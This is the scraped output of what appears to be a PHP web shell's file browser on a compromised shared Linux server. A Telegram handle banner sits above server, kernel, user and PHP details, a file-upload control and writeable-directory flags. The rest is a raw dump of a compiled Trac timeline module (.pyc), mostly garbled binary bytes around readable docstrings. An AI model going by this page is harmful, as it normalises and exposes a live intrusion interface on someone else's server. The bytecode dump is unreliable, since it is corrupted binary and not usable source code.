https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/timeline/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/timeline/__pycache__/api.cpython-310.pyc
o

�k�`�
�@sddlTGdd�de�ZdS)�)�*c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�ITimelineEventProviderzWExtension point interface for adding sources for timed events to the
    timeline.
    cC�dS)a�Return a list of filters that this event provider supports.

        Each filter must be a (name, label) tuple, where `name` is the internal
        name, and `label` is a human-readable name for display.

        Optionally, the tuple can contain a third element, `checked`.
        If `checked` is omitted or True, the filter is active by default,
        otherwise it will be inactive.
        N�)�reqrr�3/usr/lib/python3/dist-packages/trac/timeline/api.py�get_timeline_filters�z+ITimelineEventProvider.get_timeline_filterscCr)aEReturn a list of events in the time range given by the `start` and
        `stop` parameters.

        The `filters` parameters is a list of the enabled filters, each item
        being the name of the tuples returned by `get_timeline_filters`.

        The events are `(kind, date, author, data)` tuples, where `kind`
        is a string used for categorizing the event, `date` is a `datetime`
        object, `author` is a string and `data` is some private data that
        the component will reuse when rendering the event.

        When the event has been created indirectly by another module,
        like this happens when calling `AttachmentModule.get_timeline_events()`
        the tuple can also specify explicitly the provider by returning tuples
        of the following form: `(kind, date, author, data, provider)`.
        Nr)r�start�stop�filtersrrr�get_timeline_events'r	z*ITimelineEventProvider.get_timeline_eventscCr)a�Display the title of the event in the given context.

        :param context: the `RenderingContext` object that can be used for
                        rendering
        :param field: what specific part information from the event should
                      be rendered: can be the 'title', the 'description' or
                      the 'url'
        :param event: the event tuple, as returned by `get_timeline_events`
        Nr)�context�field�eventrrr�render_timeline_event9r	z,ITimelineEventProvider.render_timeline_eventN)�__name__�
__module__�__qualname__�__doc__rr
rrrrrrs
rN)�	trac.core�	Interfacerrrrr�<module>s

https://t.me/RX1948 - 2025